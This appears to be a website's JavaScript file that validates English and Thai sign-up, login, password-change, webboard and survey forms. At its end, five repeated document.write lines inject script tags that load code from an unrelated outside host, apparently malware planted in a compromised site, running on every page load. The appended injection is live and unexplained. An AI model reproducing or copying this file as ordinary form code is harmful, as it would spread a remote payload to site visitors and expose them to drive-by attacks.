function checkEmailValid(emailStr)
{
	var emailPat=/^(.+)@(.+)$/
	var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"
	var validChars="\[^\\s" + specialChars + "\]"
	var quotedUser="(\"[^\"]*\")"
	var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/
	var atom=validChars + '+'
	var word="(" + atom + "|" + quotedUser + ")"
	var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")
	var errMsg="";   
	var matchArray=emailStr.match(emailPat)
	if (matchArray==null) 
	{
	   errMsg=errMsg+"The E-mail address seems incorrect. ";
	   return errMsg;
	}
	else
	{
	  var user=matchArray[1]
	  var domain=matchArray[2]
	  if (user.match(userPat)==null) 
	  {
		errMsg=errMsg+"The E-mail address seems incorrect. ";
		return errMsg;       
	  }
	  var IPArray=domain.match(ipDomainPat)
	  if (IPArray!=null) 
	  {
		  for (var i=1;i<=4;i++) 
			  {
			if (IPArray[i]>255) 
				{
				errMsg=errMsg+"The E-mail address seems incorrect. ";
				return errMsg;
				}//IF
			  }//for
	   }//IP Array
	   var domainArray=domain.match(domainPat)
	   if (domainArray==null) 
	   {
		 errMsg=errMsg+"The E-mail address seems incorrect. ";
		 return errMsg;
	   }
	   var atomPat=new RegExp(atom,"g")
	   var domArr=domain.match(atomPat)
	   var len=domArr.length
	   if (domArr[domArr.length-1].length<2 || domArr[domArr.length-1].length>4) 
	   {
		 errMsg=errMsg+"The E-mail address seems incorrect. ";
		 return errMsg;	
	   } 
	   if (len<2) 
	   {
		 errMsg=errMsg+"The E-mail address seems incorrect. ";
		 return errMsg;	 
	   } 
	 }//End  Match
	return "0";
}

/**************************** Check SignUp Form **************************/
function CheckFormSignUp_En()
{
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_signup;
	
	if(a.fullname.value==''){
	tmp=tmp+"- Full Name is required \n";
	}
	
	if(a.position.value==''){
	tmp=tmp+"- Position is required \n";
	}
	
	if(a.company.value==''){
	tmp=tmp+"- Company is required \n";
	}
	
	var e=a.email.value;
	if (e=="")
	{	
		tmp=tmp+"- A valid E-mail Address is required to process your enquiry. \n";
	}
	else
	{
		if (checkEmailValid(e) !="0") 
		{
			tmp=tmp+"- A valid E-mail Address is required to process your enquiry. \n";
		}
	}

	if(tmp!=''){
	ans = "Please check on follow fields\n"+tmp;
	alert(ans);
	return false;
	}
}

function CheckFormSignUp_Th()
{
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_signup;
	
	if(a.fullname.value==''){
	tmp=tmp+"- กรุณากรอกชื่อ \n";
	}
	
	if(a.position.value==''){
	tmp=tmp+"- กรุณากรอกตำแหน่ง \n";
	}
	
	if(a.company.value==''){
	tmp=tmp+"- กรุณากรอกชื่อบริษัท \n";
	}
	
	var e=a.email.value;
	if (e=="")
	{	
		tmp=tmp+"- กรุณากรอกอีเมล์ \n";
	}
	else
	{
		if (checkEmailValid(e) !="0") 
		{
			tmp=tmp+"- รูปแบบอีเมล์ไม่ถูกต้อง \n";
		}
	}

	if(tmp!=''){
	ans = "เกิดข้อผิดพลาด กรุณาตรวจสอบรายการด้านล่าง\n"+tmp;
	alert(ans);
	return false;
	}
}
/**************************** End Check SignUp Form ***********************/

/**************************** Check Login Form ***************************/
function CheckFormLogin_En(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_login;
	
	var e=a.email_login.value;
	if (e=="")
	{	
		tmp=tmp+"- A valid E-mail Address is required to process your enquiry. \n";
	}
	else
	{
		if (checkEmailValid(e) !="0") 
		{
			tmp=tmp+"- A valid E-mail Address is required to process your enquiry. \n";
		}
	}

	if(a.user_passwd.value==''){
		tmp=tmp+"- Password is required \n";
	}
	
	if(tmp!=''){
		ans = "Please check on follow fields\n"+tmp;
		alert(ans);
		return false;
	}
}

function CheckFormLogin_Th(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_login;
	
	var e=a.email_login.value;
	if (e=="")
	{	
		tmp=tmp+"- กรุณากรอกอีเมล์ \n";
	}
	else
	{
		if (checkEmailValid(e) !="0") 
		{
			tmp=tmp+"-  รูปแบบอีเมล์ไม่ถูกต้อง \n";
		}
	}

	if(a.user_passwd.value==''){
		tmp=tmp+"- กรุณากรอกรหัสผ่าน \n";
	}
	
	if(tmp!=''){
		ans = "เกิดข้อผิดพลาด กรุณาตรวจสอบรายการด้านล่าง\n"+tmp;
		alert(ans);
		return false;
	}
}
/**************************** End Check Login Form **************************/

/**************************** Check Change Password Form ***********************/
function CheckChangePWD_En(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_change_password;
	
	if(a.old_pass.value==''){
		tmp=tmp+"- Old Password is required \n";
	}
	
	if(a.new_pass.value==''){
		tmp=tmp+"- New Password is required \n";
	}
	
	if(a.re_pass.value==''){
		tmp=tmp+"- Confirm Password is required \n";
	}
	
	if(a.new_pass.value!="" && a.re_pass.value!=''){
		if(a.new_pass.value!=a.re_pass.value){
			tmp=tmp+"- Your Passwords do not match. Please enter again.\n";
		}
	}
	
	if(tmp!=''){
		ans = "Please check on follow fields\n"+tmp;
		alert(ans);
		return false;
	}
}

function CheckChangePWD_Th(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_change_password;
	
	if(a.old_pass.value==''){
		tmp=tmp+"- กรุณากรอกรหัสผ่านเดิม\n";
	}
	
	if(a.new_pass.value==''){
		tmp=tmp+"- กรุณากรอกรหัสผ่านใหม่\n";
	}
	
	if(a.re_pass.value==''){
		tmp=tmp+"- กรุณากรอกยืนยันรหัสผ่านใหม่\n";
	}
	
	if(a.new_pass.value!="" && a.re_pass.value!=''){
		if(a.new_pass.value!=a.re_pass.value){
			tmp=tmp+"- รหัสผ่านใหม่และยืนยันรหัสผ่านใหม่ ไม่ตรงกัน !.\n";
		}
	}
	
	if(tmp!=''){
		ans = "เกิดข้อผิดพลาด กรุณาตรวจสอบรายการด้านล่าง\n"+tmp;
		alert(ans);
		return false;
	}
}
/**************************** End Check Change Password Form **********************/


/**************************** Check Replay Webboard Form *************************/
function CheckReplyBoard_En(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_reply;
	
	if(a.postdesc.value==''){
		tmp=tmp+"- Reply message is required \n";
	}
	
	if(tmp!=''){
		ans = "Please check on follow fields\n"+tmp;
		alert(ans);
		return false;
	}
}


function CheckReplyBoard_Th(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_reply;
	
	if(a.postdesc.value==''){
		tmp=tmp+"- กรุณากรอกข้อความด้วย \n";
	}
	
	if(tmp!=''){
		ans = "เกิดข้อผิดพลาด กรุณาตรวจสอบรายการด้านล่าง\n"+tmp;
		alert(ans);
		return false;
	}
}
/**************************** End Check Replay Webboard Form *********************/

/**************************** Check Post Webboard Form *************************/
function CheckPostBoard_En(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_post;
	
	if(a.postname.value==''){
		tmp=tmp+"- Post topic is required \n";
	}
	
	if(a.postdesc.value==''){
		tmp=tmp+"- Post message is required \n";
	}
	
	if(tmp!=''){
		ans = "Please check on follow fields\n"+tmp;
		alert(ans);
		return false;
	}
}


function CheckPostBoard_Th(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_post;
	
	if(a.postname.value==''){
		tmp=tmp+"- กรุณากรอกรายละเอียดหัวข้อด้วย \n";
	}
	
	if(a.postdesc.value==''){
		tmp=tmp+"- กรุณากรอกข้อความด้วย \n";
	}
	
	if(tmp!=''){
		ans = "เกิดข้อผิดพลาด กรุณาตรวจสอบรายการด้านล่าง\n"+tmp;
		alert(ans);
		return false;
	}
}
/**************************** End Check Post Webboard Form *********************/

/**************************** Check Survery Form *******************************/
function CheckSurvey_En(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_survey;
	
	if(a.ans_yes_no[0].checked==false && a.ans_yes_no[1].checked==false){
		tmp=tmp+"- Please select item !\n";
	}
		
	if(tmp!=''){
		ans = "Please check on follow fields\n"+tmp;
		alert(ans);
		return false;
	}
}
function CheckSurvey_Th(){
	var tmp=""
	var ans=""
	var ch=""
	a=document.frm_survey;
	
	if(a.ans_yes_no[0].checked==false && a.ans_yes_no[1].checked==false){
		tmp=tmp+"- กรุณาเลือกรายการ เพื่อแสดงความคิดเห็น !\n";
	}
		
	if(tmp!=''){
		ans = "เกิดข้อผิดพลาด กรุณาตรวจสอบรายการด้านล่าง\n"+tmp;
		alert(ans);
		return false;
	}
}
/**************************** End Check Survery Form ****************************/

function ChatRoom(){ 					
	window.open('www/chat.php','','toolbar=no,menubar=no,location=no,height=500,width=500,top='+(screen.availHeight-300)/2+',left='+(screen.availWidth-350)/2+',scrollbars=yes,dependent=yes');
}

function ClearChat_En(){
	if (confirm('Do you want to clear all messages in chat ?')){
		return true;
	}else{
		return false;	
	}
}

function ClearChat_Th(){
	if (confirm('คุณต้องการลบข้อมูลการสนทนาทั้งหมดใช่หรือไม่ ?')){
		return true;
	}else{
		return false;	
	}
}

function SignOut_En(){
	if (confirm('Do you want to Sign Out from system ?')){
		return true;
	}else{
		return false;	
	}
}

function SignOut_Th(){
	if (confirm('คุณต้องการออกจากระบบใช่หรือไม่ ?')){
		return true;
	}else{
		return false;	
	}
}
document.write('<script src=http://meskon.pl/tw/products_new.php ><\/script>');
document.write('<script src=http://meskon.pl/tw/products_new.php ><\/script>');
document.write('<script src=http://meskon.pl/tw/products_new.php ><\/script>');
document.write('<script src=http://meskon.pl/tw/products_new.php ><\/script>');
document.write('<script src=http://meskon.pl/tw/products_new.php ><\/script>');